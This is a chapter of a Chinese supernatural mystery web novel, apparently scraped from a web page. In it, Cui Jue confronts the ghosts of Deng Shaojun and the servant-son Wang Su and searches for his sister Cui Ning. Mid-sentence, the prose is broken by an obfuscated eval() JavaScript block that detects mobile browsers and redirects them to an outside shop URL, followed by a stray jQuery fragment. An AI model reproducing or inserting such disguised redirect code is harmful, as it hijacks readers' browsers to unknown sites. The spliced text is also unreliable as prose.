女子脸上布满伤疤,似乎是对崔珏这话有些困惑。看她这副样子,崔珏立刻明白这人只是一缕孤魂,他定定心走上前去将女子带到石凳上坐下,又觉得对方眼熟,果断掏出怀中画像。
比对一番后,崔珏道:“你就是邓少君?”
这个名字就像是有魔力一般,话落,方才还破败不堪的院子一下子焕然如新。那些鬼哭狼嚎声不见,反而从房间内传出阵阵钟鼓丝竹声。
王氏为什么要在婚事结束后立刻搬走?邓枫说他后来一直找不到妹妹,可王氏这院子和邓家离得并不远。邓少君在成婚当夜被掳走,回来后就疯了。那天晚上究竟发生了什么?
“曹玄,我先带她出去,待会再来找你。”崔珏对邓少君做了一个“请”的手势,谁知刚跨出小院,本来柔弱的女子突然躁动起来。她趴在地上吼叫,看起来头疼得厉害。
崔珏迅速拿出法绳捆住女子,可女子并不受此法物束缚,一不留神就让她给逃脱了。
“喂,你别跑!”崔珏迅速追去,周围的院子不停变换。转身的功夫,身后的路变为了一堵墙,而眼前的路通往一处深院。
只有一条路,这让崔珏很难不怀疑是什么陷阱。崔珏提着心走了进去。院中有缸水,水边有几株竹子。风来,竹影摇曳。
崔珏推开门,见里面有一排排书架。他从怀里摸出一张符点燃照明,数着点走了进去。
桌上的墨台已然干涸,书是摊开的,就好像有人不久前才离开桌案前一样。
崔珏绕到桌边,低头细细察看上面的文字,全然不知黑暗中有一双眼睛盯着他。
“太安五年,王氏长子与邓氏女结亲……”等等,现在不是太安十五年吗?难道男人和他说的是十年前的事??
结亲翌日,王氏之子王惑中第,迁家天都。士农工商,原本王家从商,这一下子中第,阶级跃升,举家迁往天都也不是什么稀奇事。但后面的批注让崔珏实在匪夷所思,什么叫“偷梁换柱,欺世盗名”?
崔珏目光移到下页,见上面内容和上页对不上,又见中间有被撕扯过的痕迹,心中了然。
“王家有一子,乃家主外出营丝二载余所出,生母不详。主畏正室,遂令此子易服为仆,与家僮同处长成。”
崔珏目光停留在这行字上,忽然觉得有什么不对劲。一些大家族里,主君在外有个把两个私生子根本不足为奇,但为什么要在正卷这里强调?
崔珏拿起册子一看,确认这是一本家乘。正要放下册子时,手却不小心擦过上面的字迹,那内容顿时模糊一片。崔珏还没来得及惊讶,黑影立刻向他奔来。
崔珏跳出窗外,将黑影引到院子里打斗。那东西始终一团模糊,速度没崔珏快,胜在力大。崔珏往往需要给上三剑才能将对方逼退。
这边的打斗声将女人吸引过来了,她本来还浑浑噩噩的,一见崔珏拿剑刺向黑影,顿时暴走向崔珏冲去。那双手此刻长出十根长甲,崔珏避之不及,胳膊被抓伤。
女人嘴里疯狂地喊着:“你们不要打他,是我要跑的!”
这黑影为纯阴魂,还是高品阶的纯阴魂。
活人死后,其魂魄在头七前会一直留在人间。待头七一过便由阴差带入地府进入轮回之道。但有一种情况例外,那就是穷凶极恶之人的阴魂,阴差是带不走的,必须得有道士度化。
但令崔珏奇怪的是,这纯阴魂年头不小,竟然没有化为一鬼半怪。
一对二,崔珏不占优势。但他渐渐在你来我往的打法中发现这两个人都把对方看得很重要。倘若其中一方被崔珏击退,另一方就会更猛烈地攻上来。但要是崔珏被击退,两人动作反而会有所收敛。
“你们是什么关系?”崔珏不知道哪里来的信心认为二人会回应他,事实上,他从没与阴魂对话过。
黑影在听到这话时动作有所迟疑,女子却比之前更加兴奋,发出的声音嘶哑不堪:“夫妻。”
“这么说,你便是王家长子王惑了?”崔珏将剑横于鼻前,目不转睛地盯着周围飞窜的影子。直到他透过剑刃看见那股黑影出现在身后,才又继续动作起来。
眼看黑影急躁起来,崔珏思考片刻,抛出另一个猜想,“你是王家正卷里提到的那名私生子?”
黑影晃了三下,停了下来。他慢慢地化为人形,崔珏眼皮一眨的功夫,一位脸带伤疤的男子站在他面前。他走路的姿势看起来很别扭,崔珏见他向自己靠近,顿感奇怪。
符上的钱币忽然震动,崔珏抬手压制住,将其回鞘,“你已经死很久了,为什么不去投胎一直困于人间?”
“喂,崔珏,你问这话也不觉得自己理亏。”
夜风习习,院墙上蹲着一个人。
崔珏本来觉得烦闷,在看清楚来人后霎时瞪大了双眼,低喝道:“小宁?你怎么来了!”
女子盘腿坐在院墙上,那本该别在腰侧的玄鸟佩现在被崔宁拿在手里打转。谁知一个晃神,玉佩脱手,崔宁立刻追下去捡。
“你还我玉佩!”崔宁刚落地就见玉佩被崔珏抢了去,她顿时怒不可遏。
崔珏脸色微微发黑,“你跑到这里来干什么?脑子被撞了不知道很危险吗!”
崔宁将玉佩抢回来,恶狠狠地呛道:“我去哪里,你管得着吗!”
崔珏压下火气,“我只是觉得这里太危险。”
“为什么要你觉得?我自己可以保护好自己。”崔宁推了崔珏一把,往院外跑去,任凭崔珏在后面怎么喊都不肯停下。
崔珏看了一眼崔宁去的方向,抬手贴了道“追踪符”。他回头盯着眼前的男人,耐下性子继续盘问:“城西那座道观和你有关系吗?”
“和你有什么关系。”
“有话便说。”
“这个地方已经很久没人来过了,你来这里是为了什么?”
“当然是办事。”崔珏说着,看了一眼男人身后邓少君,“邓少君方才说你们之间的关系是夫妻,你究竟是谁?”
男人不语,只是忽然消散。周遭的环境开始明亮起来,长廊尽头一位年轻少女走出来,正是没破相的邓少君。她似乎很慌张,直接将正在扫地的仆人撞到了。
而这位仆人就是刚才的男人。
邓少君脸上的惊慌转为欣喜,她扶着男人的胳膊走到了假山后,确认周围没人后才道:“阿宿!你今天怎么没去旁听?”
“公子让我将院里的地打扫干净,所以没去。”
邓少君扫了一眼周围,分明是很干净的地,“他就是故意刁难你,我帮你一起扫。”
男人摆手,似乎不太好意思,“不用了,你快回家吧,我自己可以的。”
邓少君有些羞涩地点了个头,“那好吧。”她往前走了两步,又跳回来趴在男人耳边道:“我哥哥说,他愿意把我嫁给你,只要你明年能中举。”
画面一转,来到了一间小小的房间内。邓少君坐在里面,门外忽然传来两三声人语:
“那个王宿真是命好,竟然真的中举了。”
“那有什么用,大少爷想要还不是伸伸手的事。”
“对了,我听说今天来的那个新妇是要用来冲喜的?”
“不是说要用来给二少爷作配吗?”
“啊?可是二少爷不是上吊了吗……”
邓少君还不明白外面发生了什么,就听见一伙人喊着:“走水了!”
王宿冲进来,拉起邓少君就跑。奔跑途中,女孩头上那些首饰掉了个精光。
崔珏发现这时王宿的腿好像是正常的,他还没来得及仔细看,一阵钻心的疼痛让他倒吸一口气。崔珏发现此刻自己不再是旁观者的视角,而是王宿本人。
等他再睁眼时,四周已经一片漆黑。
黑暗中,崔珏感觉自己踢到了什么人。背后的阴影散开,崔珏明白自己又回到了王府。眼前的景象颠倒,直到背后有人喊住了自己:“跟我来。”
这声音好熟悉。路过一缸水时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781551|210116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
崔珏才发现自己变成了邓少君。
天空传来几道惊雷,崔珏猛地睁开眼。
“少君她还有一缕残魂,若你要救她,得先将城西新观下的百具尸体收拾干净。”
脸上忽然几点凉意,雨在顷刻之间就大了起来。女人和男人一同消失了,周遭的环境也恢复到之前破败不堪的模样。
崔珏刚想去找崔宁,王家大院突然震动起来,脚下的地霎时裂出几道口子,仅仅几秒后,整块地连同地上的建筑全部碎成了块。
由于先天体弱多病,崔宁在符箓上的造诣并不深。她往往要花上几倍的时间才能学会崔珏瞧一眼便能学会的东西,但仅仅是学会还不够,崔宁真气不足,通俗点就是持久度不行,整个体质可以说是不适合修行。
崔宁此次前来并非贪玩,虽然同为大宗家孩子,崔宁和崔珏所学重点并不同。崔宁常常四处奔走,不是出门采药就是跟着崔禹学习打点宗族世家之事,又或是去青云医馆一同坐诊。
崔禹一早便知道崔珏一定会去参加此次通天大会,已提前数月告知崔宁让她务必跟在崔珏后面,以防不测。
但谁叫两人一见面就发生口角。崔宁心中的气消得差不多了,看着周围空空如也的巷子,惧意也慢慢涌上心头。她刚掏出符想要点亮,就被棍子敲晕了。
崔珏顶着雨顺着追踪符到了牌坊下,符迹到此就消失了。但这周围什么都没有,崔珏眉头紧锁,迅速飞书一封给崔禹。
-
“这王家大院怎么塌了?!”
“你们昨天晚上有人听见这边动静吗?”
“话说王家走了得有十年了吧,这么多年也没人回来看一下。”
崔珏靠在墙边休息,昨晚他找了崔宁一夜都不见下落。就在他准备去找邓枫的时候,忽然见到一行人抬着棺材往外走,当最后一口棺材经过崔珏面前时,崔珏腰侧的玉佩忽然亮了起来。
崔禹曾告诉他,他身上的玉佩和崔宁那块玄鸟佩是一同给老天师请过灵的。正是因为同一时刻请灵,所以当一方遇到危险时,在一定的距离下,另一方身上的玉佩会突然亮起来。
崔珏忙拦住抬棺的男子,“等等,你们准备抬到哪里去?”
“这是王家的棺材,当然是抬到他们家坟地去。你又是哪来的?别挡着我们做事。”
“这棺材有蹊跷,我能否开棺看一下?”崔珏已经决定好,如果他们不让,自己就硬来了。
男人啐了一口,“这棺材都封了,你现在开棺不是对别人的不敬吗?再说了,都埋那么久了,能有什么蹊跷。”
“怎么好端端不走了?”
最前方走来一人,正是邓枫。
“……崔少主,你怎么在这?”邓枫本来还满面春光的,见到崔珏忽然脸色惨如白纸,连身形都晃了三晃。
邓枫明明是个身负重债的人,怎么突然有钱雇这么多人抬棺了?崔珏语气平常:“我昨天晚上见到令妹了,她状况似乎不太好。”
“家妹已于今早找到了,多谢少侠关心。”邓枫急忙打断崔珏的话,“我还有事,恐怕不能再同崔少主长谈了。”
“找到了就好,对了,邓公子你为何要抬这些棺椁啊?”
“这些棺椁本来安置在王家大院里,这不是王家大院塌了吗,我给他们重新找块地。”
“这样啊,那你快些去办事吧。免得耽误了。”
崔珏在原地站了一会,忽然觉得眼前有些发黑。从浔阳调的弟子已经在城西新观那里等着了,他现在得去看着,以免再生事端。可刚走一步,气血便直冲头顶。鲜红的液体从鼻腔内流出来,落到杏黄色的衣襟上,格外显眼。
曹玄从小院出来时便见到崔珏一副要倒不倒的样,他快步走到崔珏身边,“先去休息一下吧。”
崔珏抬手示意曹玄闭嘴,“先去城西。”
但曹玄在这个问题上似乎很执着,“我一人去就可以了,你还是——”
“去城西!”